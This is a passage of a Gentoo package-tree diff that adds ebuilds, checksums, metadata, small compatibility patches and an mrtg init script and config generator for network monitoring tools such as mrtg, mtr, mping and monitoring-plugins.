index 000000000000..4e298b537455
--- /dev/null
+++ b/net-analyzer/monitoring-plugins/monitoring-plugins-2.1.1.ebuild
@@ -0,0 +1,96 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils multilib user
+
+DESCRIPTION="50+ standard plugins for Icinga, Naemon, Nagios, Shinken, Sensu"
+HOMEPAGE="https://www.monitoring-plugins.org/"
+SRC_URI="https://www.monitoring-plugins.org/download/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="gnutls ipv6 ldap mysql dns fping game postgres samba snmp ssh +ssl"
+
+# Most of the plugins use automagic dependencies, i.e. the plugin will
+# get built if the binary it uses is installed. For example, check_snmp
+# will be built only if snmpget from net-analyzer/net-snmp[-minimal] is
+# installed. End result: most of our runtime dependencies are required
+# at build time as well.
+#
+# REAL_DEPEND contains the dependencies that are actually needed to
+# build. DEPEND contains those plus the automagic dependencies.
+#
+REAL_DEPEND="dev-lang/perl
+ ldap? ( net-nds/openldap )
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql )
+ ssl? (
+ !gnutls? ( dev-libs/openssl )
+ gnutls? ( net-libs/gnutls )
+ )"
+
+DEPEND="${REAL_DEPEND}
+ dns? ( net-dns/bind-tools )
+ game? ( games-util/qstat )
+ fping? ( net-analyzer/fping )
+ samba? ( net-fs/samba )
+ ssh? ( net-misc/openssh )
+ snmp? ( dev-perl/Net-SNMP
+ net-analyzer/net-snmp[-minimal] )"
+
+# Basically everything collides with nagios-plugins.
+RDEPEND="${DEPEND}
+ !net-analyzer/nagios-plugins"
+
+# At least one test is interactive.
+RESTRICT="test"
+
+src_configure() {
+ # Use an array to prevent econf from mangling the ping args.
+ local myconf=()
+
+ if use ssl; then
+ myconf+=( $(use_with !gnutls openssl /usr)
+ $(use_with gnutls gnutls /usr) )
+ else
+ myconf+=( --without-openssl )
+ myconf+=( --without-gnutls )
+ fi
+
+ # The autodetection for these two commands can hang if localhost is
+ # down or ICMP traffic is filtered. Bug #468296.
+ myconf+=( --with-ping-command="/bin/ping -n -U -w %d -c %d %s" )
+
+ if use ipv6; then
+ myconf+=( --with-ping6-command="/bin/ping6 -n -U -w %d -c %d %s" )
+ fi
+
+ econf \
+ $(use_with mysql) \
+ $(use_with ipv6) \
+ $(use_with ldap) \
+ $(use_with postgres pgsql /usr) \
+ "${myconf[@]}" \
+ --libexecdir="/usr/$(get_libdir)/nagios/plugins" \
+ --sysconfdir="/etc/nagios"
+}
+
+DOCS=( ACKNOWLEDGEMENTS AUTHORS CODING ChangeLog FAQ \
+ NEWS README REQUIREMENTS SUPPORT THANKS )
+
+pkg_preinst() {
+ enewgroup nagios
+ enewuser nagios -1 /bin/bash /var/nagios/home nagios
+}
+
+pkg_postinst() {
+ elog "This ebuild has a number of USE flags that determine what you"
+ elog "are able to monitor. Depending on what you want to monitor, some"
+ elog "or all of these USE flags need to be set."
+ elog
+ elog "The plugins are installed in ${ROOT}usr/$(get_libdir)/nagios/plugins"
+}
diff --git a/net-analyzer/mping/Manifest b/net-analyzer/mping/Manifest
new file mode 100644
index 000000000000..2012c508d5c4
--- /dev/null
+++ b/net-analyzer/mping/Manifest
@@ -0,0 +1 @@
+DIST mping-2.01.tar.gz 159203 SHA256 7728ef3e31299b453e3d7cbb70b2ba0cdd3f5a9a71cae691b9756a7a3a76dde1 SHA512 9e1c243013f74a69d3014c11503ad9ff9b8992dcb3eb252a85a1958e8d63dadeab79b6937b76ddce9cc0d22c50a19ec90d40a68d3efc303c48a631f316f5b167 WHIRLPOOL 538069b71459ca00c3301b46b8df71acecdc852a81038a5e310e2dbd1218ca7ec833f368a6d2d3ba80d5464b0c7cdfae2f5203ecc8155bd913a068aa1ca34676
diff --git a/net-analyzer/mping/files/mping-2.01-RFC3542.patch b/net-analyzer/mping/files/mping-2.01-RFC3542.patch
new file mode 100644
index 000000000000..be34aa7357fd
--- /dev/null
+++ b/net-analyzer/mping/files/mping-2.01-RFC3542.patch
@@ -0,0 +1,56 @@
+http://www.ietf.org/rfc/rfc3542.txt
+
+http://bugs.gentoo.org/153252
+
+--- a/src/mping.c
++++ b/src/mping.c
+@@ -1688,6 +1688,20 @@
+ }
+ }
+
++/* RFC3542 changed some definitions from RFC2292 for no good reason, whee !
++ * the newer 3542 uses a MLD_ prefix where as 2292 uses ICMP6_ prefix */
++#ifndef MLD_LISTENER_QUERY
++# define MLD_LISTENER_QUERY ICMP6_MEMBERSHIP_QUERY
++#endif
++#ifndef MLD_LISTENER_REPORT
++# define MLD_LISTENER_REPORT ICMP6_MEMBERSHIP_REPORT
++#endif
++#ifndef MLD_LISTENER_REDUCTION
++# define MLD_LISTENER_REDUCTION ICMP6_MEMBERSHIP_REDUCTION
++#endif
++#ifndef ICMP6_DST_UNREACH_BEYONDSCOPE
++# define ICMP6_DST_UNREACH_BEYONDSCOPE ICMP6_DST_UNREACH_NOTNEIGHBOR
++#endif
+ /*
+ * Print a descriptive string about an ICMP6 header.
+ */
+@@ -1704,8 +1718,8 @@
+ case ICMP6_DST_UNREACH_ADMIN:
+ printf("Administratively Prohibited\n");
+ break;
+- case ICMP6_DST_UNREACH_NOTNEIGHBOR:
+- printf("Not a Neighbour\n");
++ case ICMP6_DST_UNREACH_BEYONDSCOPE:
++ printf("Beyond scope\n");
+ break;
+ case ICMP6_DST_UNREACH_ADDR:
+ printf("Destination Host Unreachable\n");
+@@ -1755,13 +1769,13 @@
+ case ICMP6_ECHO_REPLY:
+ printf("Echo reply\n");
+ break;
+- case ICMP6_MEMBERSHIP_QUERY:
+- printf("Membership Query\n");
++ case MLD_LISTENER_QUERY:
++ printf("MLD Query\n");
+ break;
+- case ICMP6_MEMBERSHIP_REPORT:
++ case MLD_LISTENER_REPORT:
+ printf("MLD Report\n");
+ break;
+- case ICMP6_MEMBERSHIP_REDUCTION:
++ case MLD_LISTENER_REDUCTION:
+ printf("MLD Reduction\n");
+ break;
+ case ND_ROUTER_ADVERT:
diff --git a/net-analyzer/mping/metadata.xml b/net-analyzer/mping/metadata.xml
new file mode 100644
index 000000000000..075e21f113b0
--- /dev/null
+++ b/net-analyzer/mping/metadata.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>
+UNINETTs delay statistics for IPv6 is now up and
+running as a test project. The main goal with this
+test project,is to test how well
+Mping 2.0 works against the IPv6 network, and how well
+it handles IPv4 and IPv6 adresses simultaniously. For
+now we have to
+resort to "IPv6 over IPv4 tunneling", but this is not
+a permanent solution.
+</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/mping/mping-2.01.ebuild b/net-analyzer/mping/mping-2.01.ebuild
new file mode 100644
index 000000000000..4f0da7416808
--- /dev/null
+++ b/net-analyzer/mping/mping-2.01.ebuild
@@ -0,0 +1,20 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+DESCRIPTION="IPv4/6 round-robin multiping client"
+HOMEPAGE="http://mping.uninett.no"
+SRC_URI="http://mping.uninett.no/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ppc ppc64 sparc x86"
+
+DOCS=( AUTHORS ChangeLog NEWS README TODO )
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-RFC3542.patch
+}
diff --git a/net-analyzer/mrtg-ping-probe/Manifest b/net-analyzer/mrtg-ping-probe/Manifest
new file mode 100644
index 000000000000..53203f13b6ab
--- /dev/null
+++ b/net-analyzer/mrtg-ping-probe/Manifest
@@ -0,0 +1 @@
+DIST mrtg-ping-probe-2.2.0.tar.gz 36923 SHA256 2708459c1beb5ab482fa28ff62720f6a2d5707475d40e53a2829927572c96a0e SHA512 efc86ed732547359d8b2d94da367946d8b573e2b4d1b3d240b8eb7c5bfff17971848ad62c1448cdc0305393193d969361328448d9c9b25ae54866f71614b7cea WHIRLPOOL 22efb23198783551bdd65d5f23a5311958865440f78927743509555a5e44b157ed90b55ddfe6e334c02c2938d7b667144e126113eb3d52a610b25746e83f0335
diff --git a/net-analyzer/mrtg-ping-probe/files/mrtg-ping-cfg b/net-analyzer/mrtg-ping-probe/files/mrtg-ping-cfg
new file mode 100644
index 000000000000..85a38221b625
--- /dev/null
+++ b/net-analyzer/mrtg-ping-probe/files/mrtg-ping-cfg
@@ -0,0 +1,84 @@
+#!/bin/sh
+#
+# mrtg-ping-cfg { ping | loss } <device> <"Title of page">
+#
+# This creates the mrtg.cfg configurations to do pings to devices.
+# Makes use of mrt-ping-probe by Peter W. Osel <pwo@guug.de> (see below)
+#
+# leewm@sgp.hp.com
+# Hewlett Packard Singapore
+# IT Site Infrastructure Services
+# modifed by "Molchanov Alexander <xorader@mail.ru>"
+
+# location of mrtg ping probe
+PING_PROBE=/usr/bin/mrtg-ping-probe
+
+if [ $# -ne 3 ]
+then
+ head -n 11 $0
+ exit
+fi
+
+if [ $1 == "ping" ] ; then
+ target="$2.ping"
+ MaxBytes=5000
+ AbsMax=10000
+ Unscaled=""
+ YLegend="Round Trip Time"
+ ShortLegend="ms"
+ Legend1="Maximum Round Trip Time in Milli Second"
+ Legend2="Minimum Round Trip Time in Milli Second"
+ Legend3="Maximal 5 Minute Maximum Round Trip Time"
+ Legend4="Maximal 5 Minute Minimum Round Trip Time"
+ LegendI="&nbsp;Max:"
+ LegendO="&nbsp;Min:"
+ PageTop="<H1>$3</H1><P>Actually we are measuring the ping time between our web server and $2."
+elif [ $1 == "loss" ] ; then
+ target="$2.loss"
+ PING_PROBE="$PING_PROBE -p loss/loss"
+ MaxBytes=100
+ AbsMax=101
+ Unscaled="Unscaled[$target]: dwmy"
+ YLegend="% Packet Loss"
+ ShortLegend="%"
+ Legend1="% Packet Loss"
+ Legend2="% Packet Loss"
+ Legend3="Maximal 5 Minute % Packet Loss"
+ Legend4="Maximal 5 Minute % Packet Loss"
+ LegendI="&nbsp;% loss:"
+ LegendO="&nbsp;% loss:"
+ PageTop="<H1>$3</H1><P>Actually we are packet loss between our web server and $2."
+else
+ echo "enter first argument 'ping' or 'loss'" >&2
+ head -n 11 $0
+ exit
+fi
+
+cat <<EOF
+#############################################################
+# $1 stats for $2
+# $3
+
+Title[$target]: $3
+MaxBytes[$target]: $MaxBytes
+AbsMax[$target]: $AbsMax
+Options[$target]: gauge
+Target[$target]: \`$PING_PROBE $2\`
+PageTop[$target]: $PageTop
+YLegend[$target]: $YLegend
+ShortLegend[$target]: $ShortLegend
+Legend1[$target]: $Legend1
+Legend2[$target]: $Legend2
+Legend3[$target]: $Legend3
+Legend4[$target]: $Legend4
+LegendI[$target]: $LegendI
+LegendO[$target]: $LegendO
+WithPeak[$target]: ymwd
+$Unscaled
+
+#-------------------------------------------------------------------
+
+EOF
+
+exit
+
diff --git a/net-analyzer/mrtg-ping-probe/metadata.xml b/net-analyzer/mrtg-ping-probe/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/mrtg-ping-probe/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/mrtg-ping-probe/mrtg-ping-probe-2.2.0.ebuild b/net-analyzer/mrtg-ping-probe/mrtg-ping-probe-2.2.0.ebuild
new file mode 100644
index 000000000000..0aeab8cc23e0
--- /dev/null
+++ b/net-analyzer/mrtg-ping-probe/mrtg-ping-probe-2.2.0.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="Addon mrtg contrib for stats ping/loss packets"
+SRC_URI="ftp://ftp.pwo.de/pub/pwo/mrtg/${PN}/${P}.tar.gz"
+HOMEPAGE="http://pwo.de/projects/mrtg/"
+
+KEYWORDS="~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND="dev-lang/perl"
+RDEPEND="
+ ${DEPEND}
+ net-analyzer/mrtg
+"
+
+src_prepare() {
+ sed -i check-ping-fmt \
+ -e 's:#!/usr/local/bin/perl -w:#!/usr/bin/perl -w:' \
+ || die
+ sed -i mrtg-ping-probe \
+ -e 's:#!/bin/perl:#!/usr/bin/perl:' \
+ || die
+}
+
+src_install () {
+ dodoc ChangeLog NEWS README TODO mrtg.cfg-ping
+ doman mrtg-ping-probe.1
+ dobin check-ping-fmt mrtg-ping-probe "${FILESDIR}"/mrtg-ping-cfg
+}
diff --git a/net-analyzer/mrtg/Manifest b/net-analyzer/mrtg/Manifest
new file mode 100644
index 000000000000..a84ce71907ac
--- /dev/null
+++ b/net-analyzer/mrtg/Manifest
@@ -0,0 +1 @@
+DIST mrtg-2.17.4.tar.gz 1096879 SHA256 5efa7fae8040159208472e5f889be5b41d8c8a2ea6b31616f0f75cc7f48d2365 SHA512 b15dac707e387714ba1a181c487894fcacbb9c2c1a1710475ebe86a11e30d758a4b44c139b42638de7fdef6616cf3112afc4e5a8c5fbf53718829673698ee110 WHIRLPOOL 125ef92077ba691c769924bab20a86e3a72f406a8ce5a7fed0342c0c03aa35d5b1ee4f0ddb6419ab892337ac38bf2ad12131b099ba9e972b08e753b61f08ff11
diff --git a/net-analyzer/mrtg/files/mrtg-2.17.4-socket6.patch b/net-analyzer/mrtg/files/mrtg-2.17.4-socket6.patch
new file mode 100644
index 000000000000..5540874d9a00
--- /dev/null
+++ b/net-analyzer/mrtg/files/mrtg-2.17.4-socket6.patch
@@ -0,0 +1,11 @@
+--- a/bin/mrtg
++++ b/bin/mrtg
+@@ -300,7 +300,7 @@ sub main {
+ if ($cfg{enableipv6} eq 'yes') {
+ if ( eval {local $SIG{__DIE__};require Socket; require Socket6; require IO::Socket::INET6;}) {
+ import Socket;
+- import Socket6;
++ Socket6->import(qw(inet_pton getaddrinfo));
+ debug('base', "IPv6 libraries found, IPv6 enabled.");
+ } else {
+ warn "$NOW: WARNING: IPv6 libraries not found, IPv6 disabled.\n";
diff --git a/net-analyzer/mrtg/files/mrtg.confd b/net-analyzer/mrtg/files/mrtg.confd
new file mode 100644
index 000000000000..c0fb422b11ec
--- /dev/null
+++ b/net-analyzer/mrtg/files/mrtg.confd
@@ -0,0 +1,17 @@
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+MRTG_CONF="/etc/mrtg.conf"
+MRTG_PID="/var/run/mrtg.pid"
+
+# uncomment and set the following, if you'd like to run mrtg as a
+# different user/group
+#MRTG_USER=""
+#MRTG_GROUP=""
+
+# uncomment if you'd like to enable logging
+#MRTG_LOG="/var/log/mrtg.log"
+
+# set any extra options here
+MRTG_OPTS=""
diff --git a/net-analyzer/mrtg/files/mrtg.rc b/net-analyzer/mrtg/files/mrtg.rc
new file mode 100644
index 000000000000..deb3229a543a
--- /dev/null
+++ b/net-analyzer/mrtg/files/mrtg.rc
@@ -0,0 +1,54 @@
+#!/sbin/runscript
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+
+ # if monitoring snmp variables on this machine:
+ # use net-snmpd
+}
+
+checkconfig() {
+ if [[ ! -f ${MRTG_CONF} ]] ; then
+ eerror "Please create ${MRTG_CONF} (try man cfgmaker)"
+ return 1
+ fi
+
+ mrtg --check ${MRTG_CONF}
+ return $?
+}
+
+start() {
+ # mrtg will not run if LANG=*utf8
+ # use grep instead of bash regexp for bug #159786
+ [[ "$(echo $LANG|grep -E '((^[A-Za-z0-9\_\@\-]+\.)|(^))([uU][tT][fF]-?8)$')" ]] \
+ && LANG='C'
+
+ checkconfig || return $?
+
+ # enable logging?
+ [[ -n "${MRTG_LOG}" ]] && \
+ MRTG_OPTS="${MRTG_OPTS} --logging ${MRTG_LOG}"
+
+ # run as a different user?
+ [[ -n "${MRTG_USER}" ]] && \
+ MRTG_OPTS="${MRTG_OPTS} --user ${MRTG_USER}"
+
+ # run as a different group?
+ [[ -n "${MRTG_GROUP}" ]] && \
+ MRTG_OPTS="${MRTG_OPTS} --group ${MRTG_GROUP}"
+
+ ebegin "Starting mrtg"
+ start-stop-daemon --start --quiet --pidfile ${MRTG_PID} --name mrtg\
+ --exec /usr/bin/mrtg -- --daemon --pid-file=${MRTG_PID} \
+ ${MRTG_OPTS} ${MRTG_CONF} >/dev/null
+ eend $? "Failed to start mrtg"
+}
+
+stop() {
+ ebegin "Stopping mrtg"
+ start-stop-daemon --stop --quiet --pidfile ${MRTG_PID}
+ eend $? "Failed to stop mrtg"
+}
diff --git a/net-analyzer/mrtg/metadata.xml b/net-analyzer/mrtg/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/mrtg/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/mrtg/mrtg-2.17.4-r1.ebuild b/net-analyzer/mrtg/mrtg-2.17.4-r1.ebuild
new file mode 100644
index 000000000000..ff115858e2ea
--- /dev/null
+++ b/net-analyzer/mrtg/mrtg-2.17.4-r1.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+DESCRIPTION="A tool to monitor the traffic load on network-links"
+HOMEPAGE="http://oss.oetiker.ch/mrtg/"
+SRC_URI="http://oss.oetiker.ch/mrtg/pub/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 ~arm hppa ppc ppc64 sparc x86"
+IUSE="selinux"
+
+DEPEND="
+ >=dev-perl/SNMP_Session-1.13-r2
+ >=dev-perl/Socket6-0.23
+ dev-lang/perl
+ media-libs/gd[png]
+"
+RDEPEND="${DEPEND}
+ selinux? ( sec-policy/selinux-mrtg )"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-socket6.patch
+ rm ./lib/mrtg2/{SNMP_{Session,util},BER}.pm || die
+}
+
+src_install () {
+ keepdir /var/lib/mrtg
+
+ default
+
+ mv "${ED}"/usr/share/doc/{mrtg2,${PF}} || die
+
+ newinitd "${FILESDIR}/mrtg.rc" ${PN}
+ newconfd "${FILESDIR}/mrtg.confd" ${PN}
+}
diff --git a/net-analyzer/mtr/Manifest b/net-analyzer/mtr/Manifest
new file mode 100644
index 000000000000..0ae35c92dcd4
--- /dev/null
+++ b/net-analyzer/mtr/Manifest
@@ -0,0 +1,2 @@
+DIST gtk-2.0-for-mtr.m4.bz2 2508 SHA256 59152f9a4a1af5cf09f2aaa804c9071afe3eb6632162f1660d85c820db342eba SHA512 0f593b761d7a9399469f1f7bb3992133b391a2ce760ecfad96237561992802c192b810f4722763685d5f6e7a76bd2806abf08e1850bdce00e5cd3af4c810210f WHIRLPOOL 8bfa2cd70c2aba06473692cdf3e091a983aab69cdb5be3d0382b6b87c05bcc577ecb1afab26afc17ee16d07a1161fe84f17e3cc9ae0a150364f34667cfba5779
+DIST mtr-0.86.tar.gz 185374 SHA256 c5d948920b641cc35f8b380fc356ddfe07cce6a9c6474afe242fc58113f28c06 SHA512 e649825ab77987e369e0cd353a502b31f4aafa54a934467db907cb171af45b11bd0a8725d567d923422f32b886ad272b42151514c71893f0ba947f8d18719583 WHIRLPOOL bcf736514a48d6db24d1abf5c8d8b6c792fa8726b646d88d2810bf5f1ed237439a49dd4365f88cee1a9ebe3956cd2f30020abcc7a0d0b368161e0f1053dab290
diff --git a/net-analyzer/mtr/files/0.80-impl-dec.patch b/net-analyzer/mtr/files/0.80-impl-dec.patch
new file mode 100644
index 000000000000..5b41a54c744b
--- /dev/null
+++ b/net-analyzer/mtr/files/0.80-impl-dec.patch
@@ -0,0 +1,12 @@
+diff --git a/gtk.c b/gtk.c
+index e42f4f6..333d7c8 100644
+--- a/gtk.c
++++ b/gtk.c
+@@ -24,6 +24,7 @@
+ #include <unistd.h>
+ #include <sys/time.h>
+ #include <sys/types.h>
++#include <string.h>
+
+ #ifndef NO_GTK
+ #include <stdio.h>
diff --git a/net-analyzer/mtr/files/0.85-gtk.patch b/net-analyzer/mtr/files/0.85-gtk.patch
new file mode 100644
index 000000000000..f04d2419bed8
--- /dev/null
+++ b/net-analyzer/mtr/files/0.85-gtk.patch
@@ -0,0 +1,40 @@
+--- a/display.c
++++ b/display.c
+@@ -45,7 +45,7 @@
+ #include "mtr-curses.h"
+ #endif
+
+-#ifdef NO_GTK
++#if (NO_GTK == 1)
+ #define gtk_open()
+ #define gtk_close()
+ #define gtk_redraw()
+@@ -71,7 +71,7 @@
+ DisplayMode = DisplayCurses;
+ #endif
+
+-#ifndef NO_GTK
++#if (NO_GTK == 0)
+ if(gtk_detect(argc, argv)) {
+ DisplayMode = DisplayGTK;
+ }
+--- a/gtk.c
++++ b/gtk.c
+@@ -26,7 +26,7 @@
+ #include <sys/types.h>
+ #include <string.h>
+
+-#ifndef NO_GTK
++#if (NO_GTK == 0)
+ #include <string.h>
+ #include <sys/types.h>
+ #include <gtk/gtk.h>
+@@ -38,7 +38,7 @@
+ #include "version.h"
+
+ #include "img/mtr_icon.xpm"
+-#endif
++#endif /* NO_GTK == 0 */
+
+ gint gtk_ping(gpointer data);
+ gint Copy_activate(GtkWidget *widget, gpointer data);
diff --git a/net-analyzer/mtr/metadata.xml b/net-analyzer/mtr/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/mtr/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/mtr/mtr-0.86.ebuild b/net-analyzer/mtr/mtr-0.86.ebuild
new file mode 100644
index 000000000000..46ed00895467
--- /dev/null
+++ b/net-analyzer/mtr/mtr-0.86.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils fcaps flag-o-matic
+
+DESCRIPTION="My TraceRoute, an Excellent network diagnostic tool"
+HOMEPAGE="http://www.bitwizard.nl/mtr/"
+SRC_URI="ftp://ftp.bitwizard.nl/mtr/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 arm hppa ia64 ~mips ppc ppc64 ~s390 ~sh sparc x86 ~x86-fbsd ~amd64-linux ~x86-linux ~ppc-macos ~x64-macos ~x86-macos"
+IUSE="gtk ipv6"
+
+RDEPEND="
+ sys-libs/ncurses
+ gtk? (
+ dev-libs/glib:2
+ x11-libs/gtk+:2
+ )
+"
+DEPEND="
+ ${RDEPEND}
+ sys-devel/autoconf
+ virtual/pkgconfig
+"
+
+DOCS=( AUTHORS FORMATS NEWS README SECURITY TODO )
+FILECAPS=( cap_net_raw /usr/sbin/mtr )
+
+src_configure() {
+ # In the source's configure script -lresolv is commented out. Apparently it
+ # is needed for 64bit macos still.
+ [[ ${CHOST} == *-darwin* ]] && append-libs -lresolv
+
+ econf \
+ $(use_enable ipv6) \
+ $(use_with gtk) \
+ --disable-gtktest
+}
diff --git a/net-analyzer/mtr/mtr-9999.ebuild b/net-analyzer/mtr/mtr-9999.ebuild
new file mode 100644
index 000000000000..346422db9f63
--- /dev/null
+++ b/net-analyzer/mtr/mtr-9999.ebuild
@@ -0,0 +1,59 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils autotools fcaps flag-o-matic git-r3
+
+DESCRIPTION="My TraceRoute, an Excellent network diagnostic tool"
+HOMEPAGE="http://www.bitwizard.nl/mtr/"
+EGIT_REPO_URI="https://github.com/traviscross/mtr.git"
+SRC_URI="mirror://gentoo/gtk-2.0-for-mtr.m4.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+IUSE="gtk ipv6"
+
+RDEPEND="
+ sys-libs/ncurses
+ gtk? (
+ dev-libs/glib:2
+ x11-libs/gtk+:2
+ )
+"
+DEPEND="
+ ${RDEPEND}
+ sys-devel/autoconf
+ virtual/pkgconfig
+"
+
+DOCS=( AUTHORS FORMATS NEWS README SECURITY TODO )
+FILECAPS=( cap_net_raw /usr/sbin/mtr )
+
+src_unpack() {
+ git-r3_src_unpack
+ unpack ${A}
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/0.80-impl-dec.patch \
+ "${FILESDIR}"/0.85-gtk.patch
+
+ sed -i -e "/^\s*xver=/s|$.*)|${EGIT_VERSION:0:8}|" Makefile.am || die
+
+ # Keep this comment and following mv, even in case ebuild does not need
+ # it: kept gtk-2.0.m4 in SRC_URI but you'll have to mv it before autoreconf
+ mv "${WORKDIR}"/gtk-2.0-for-mtr.m4 gtk-2.0.m4 || die #222909
+ AT_M4DIR="." eautoreconf
+}
+
+src_configure() {
+ # In the source's configure script -lresolv is commented out. Apparently it
+ # is needed for 64bit macos still.
+ [[ ${CHOST} == *-darwin* ]] && append-libs -lresolv
+ econf \
+ $(use_enable ipv6) \
+ $(use_with gtk)
+}
diff --git a/net-analyzer/multimon-ng/Manifest b/net-analyzer/multimon-ng/Manifest
new file mode 100644
index 000000000000..b23677c16e91
--- /dev/null
+++ b/net-analyzer/multimon-ng/Manifest
@@ -0,0 +1 @@
+DIST multimon-ng-1.0.0.tar.gz 67095 SHA256 521bad293288c0c7c0c1934a36d54c6ea87f0557b197920ff32a2782627e132b SHA512 0fa475c7908bc24a9558c5a7e0aa4737fca117ff323a012b4316ad02840eb97f917a02d1daec50645729c2ca834068467ddc409cbc36af9cd5ffb9e8f6e5e3e9 WHIRLPOOL bb560c0329e61b171e8110f5fd13fde0273b64f2b44e40d5785ee163a604719845a3b38a190399187d31ebab08206c327b906aa073529aa8afc11176d46c1be7
diff --git a/net-analyzer/multimon-ng/metadata.xml b/net-analyzer/multimon-ng/metadata.xml
new file mode 100644
index 000000000000..1bd4de7592ac
--- /dev/null
+++ b/net-analyzer/multimon-ng/metadata.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>zerochaos@gentoo.org</email>
+ <name>Rick Farina</name>
+ </maintainer>
+ <herd>radio</herd>
+ <longdescription lang="en">
+</longdescription>
+ <upstream>
+ <remote-id type="github">EliasOenal/multimonNG</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/multimon-ng/multimon-ng-1.0.0-r1.ebuild b/net-analyzer/multimon-ng/multimon-ng-1.0.0-r1.ebuild
new file mode 100644
index 000000000000..d8f994874509
--- /dev/null
+++ b/net-analyzer/multimon-ng/multimon-ng-1.0.0-r1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit qt4-r2
+
+DESCRIPTION="a fork of multimon, decodes multiple digital transmission modes"
+HOMEPAGE="https://github.com/EliasOenal/multimonNG"
+
+if [[ ${PV} == 9999* ]]; then
+ inherit git-2
+ EGIT_REPO_URI="https://github.com/EliasOenal/multimonNG.git"
+ KEYWORDS=""
+else
+ SRC_URI="https://github.com/EliasOenal/multimonNG/archive/${PV}.tar.gz -> ${P}.tar.gz"
+ S="${WORKDIR}"/multimonNG-${PV}
+ KEYWORDS="~amd64 ~arm ~x86"
+fi
+
+LICENSE="GPL-2"
+SLOT="0"
+IUSE="pulseaudio"
+
+DEPEND="pulseaudio? ( media-sound/pulseaudio )
+ dev-qt/qtcore:4
+ x11-libs/libX11"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ if use !pulseaudio; then
+ sed -i -e 's/-lpulse-simple//' -e 's/-lpulse//' -e 's/PULSE/DUMMY/' ${PN}.pro || die
+ fi
+ qt4-r2_src_prepare
+}
+src_install() {
+ dobin ${PN}
+}
diff --git a/net-analyzer/multimon-ng/multimon-ng-9999.ebuild b/net-analyzer/multimon-ng/multimon-ng-9999.ebuild
new file mode 100644
index 000000000000..d8f994874509
--- /dev/null
+++ b/net-analyzer/multimon-ng/multimon-ng-9999.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit qt4-r2
+
+DESCRIPTION="a fork of multimon, decodes multiple digital transmission modes"
+HOMEPAGE="https://github.com/EliasOenal/multimonNG"
+
+if [[ ${PV} == 9999* ]]; then
+ inherit git-2
+ EGIT_REPO_URI="https://github.com/EliasOenal/multimonNG.git"
+ KEYWORDS=""
+else
+ SRC_URI="https://github.com/EliasOenal/multimonNG/archive/${PV}.tar.gz -> ${P}.tar.gz"
+ S="${WORKDIR}"/multimonNG-${PV}
+ KEYWORDS="~amd64 ~arm ~x86"
+fi
+
+LICENSE="GPL-2"
+SLOT="0"
